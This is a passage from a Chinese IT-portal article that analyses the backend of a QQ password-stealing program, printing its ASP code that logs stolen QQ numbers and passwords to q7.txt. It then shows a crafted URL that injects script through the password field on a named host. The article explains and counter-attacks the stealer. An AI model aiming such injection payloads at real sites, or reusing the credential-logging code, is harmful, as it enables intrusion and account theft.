首页 | 互联网 | IT动态 | IT培训 | Cisco | Windows | Linux | Java | .Net | Oracle | 软件测试 | C/C++ | 嵌入式开发 | 存储世界 | 服务器
网络设备 | IDC | 安全 | 求职招聘 | 数字网校 | 网页设计 | 平面设计 | 技术专题 | 电子书下载 | 教学视频 | 源码下载 | 搜索 | 博客 | 论坛
 您现在的位置: 中国IT实验室 >> 安全 >> 黑客攻防 >> 正文


找出安全漏洞 QQ盗号软件后门分析与反击


  写入q7.txt文件

  格式为 QQ号码----QQ密码----会员:----IP:

  继续看下面的代码

set f=Server.CreateObject("scripting.filesystemobject") (没有q7.txt这个文件就自动新建)

set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)

ff.writeline(StrLogText) (打开q7.txt并写入数据)

  最后response.write "发送成功!" 满足条件提示成功.

  所有的代码也就是这些..程序并未做任何过滤..和处理..也就是说..只要满足qq.asp?QQNumber=123&QQPassWord=123 就回返回 "发送成功!"的提示.

  http://www.ciker.org/soft/qq.asp?QQNumber=123&QQPassWord=123图11


  这就证明了QQNumber=123&QQPassWord=123这两个我们是可以自己定义的..如果我们写入的不是数字..而且一段脚本代码呢?会不会执行呢..让我们来试下
http://www.ciker.org/soft/qq.asp?QQNumber=123&QQPassWord=< ... quot;fhod")</script>

  图12

  插入代码成功...我们来看下

  http://www.ciker.org/soft/q7.txt的源文件又是什么样的..

  图13

上一页  [1] [2] [3] [4] [5] 下一页

【责编:Chuan】


相关文章
苹果iPhone2.0软件修补13个安全漏洞
网友QQ遭遇盗号木马侵袭 有惊无险过关
微软IE缺少必要属性 对恶意站点存在安全漏洞
微软IE浏览器暴出安全漏洞影响多个版本
不再烦恼!五招巧防QQ密码被盗
赛门铁克警告中文版Win2000安全漏洞
2008安全漏洞十大发展趋势
2008安全漏洞十大发展趋势
热点文章
 文章评论
 精彩友情推荐
  • Asp源码 PHP源码
  • CGI源码 JSP源码
  • 建站书籍教程
  • 服务器软件 .net源码
  • 建站工具软件
  • IDC资讯大全
  • 机房品质万里行
  • IDC托管必备知识
  • 全国IDC报价
  • 网站推广优化

  •  最新更新
     技术专题